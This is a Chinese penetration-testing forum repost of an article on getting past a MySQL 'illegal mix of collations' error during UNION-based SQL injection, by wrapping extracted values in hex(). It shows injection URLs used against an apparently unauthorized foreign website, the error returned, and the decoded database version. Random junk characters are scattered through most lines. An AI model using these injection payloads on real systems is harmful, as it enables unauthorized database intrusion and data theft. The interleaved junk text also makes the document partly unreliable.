中国网络渗透测试联盟

标题: MySQL注射时ErrorNo.1267的突破 [打印本页]

作者: admin    时间: 2012-9-15 14:04
标题: MySQL注射时ErrorNo.1267的突破
本文作者:SuperHei6 w3 R* ]# b3 y- f% S0 W( ~
文章性质:原创2 z8 l; e2 j) d) y/ S0 G, K3 r
发布日期:2005-10-18" I8 p( C  S4 K" H, C3 S
测试个国外的站时:8 \6 Q3 X; M: j' m9 I0 d  j3 u
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
% G4 \" M7 h2 _: x  g- ]+ y, m返回错误:
+ h3 m1 P/ b8 z9 x! {0 e- yIllegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'  ?# ]; {) D1 z2 Z1 R$ E
MySQL Error No. 1260 D; E4 ]# ]" B3 W
看来是union查询前后字符集(http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html)不同出现的。  i; c, A. g% V# h
解决办法:转为其他编码如hex。) T) n4 C% Y! O7 |& F! u6 N; P( \
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*- F% s# T- _( U7 E
成功得到hex(version())的值为:
! f* d$ Q6 e1 J342E312E332D62657461
/ C; J' X  e* Q( L, _回Mysql查询下得到:
; `# t8 i3 o$ ~1 R# c  [mysql> select 0x342E312E332D62657461;9 ?  c4 L' \& Q
+------------------------+; |0 k8 h' k! v& `; i- I1 x5 _: o
| 0x342E312E332D62657461 |
! c8 Z* m; t3 E7 i: b: ]+------------------------+7 {6 T- i: H+ B, u/ d; H4 A
| 4.1.3-beta |
1 w& ?  Q) t- r! k. E+------------------------+# `6 Q# ^4 p: f$ b0 s* ^
1 row in set (0.00 sec)- E3 p/ N! `7 D( M  u. ]) t

0 g; N4 j, A- R




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2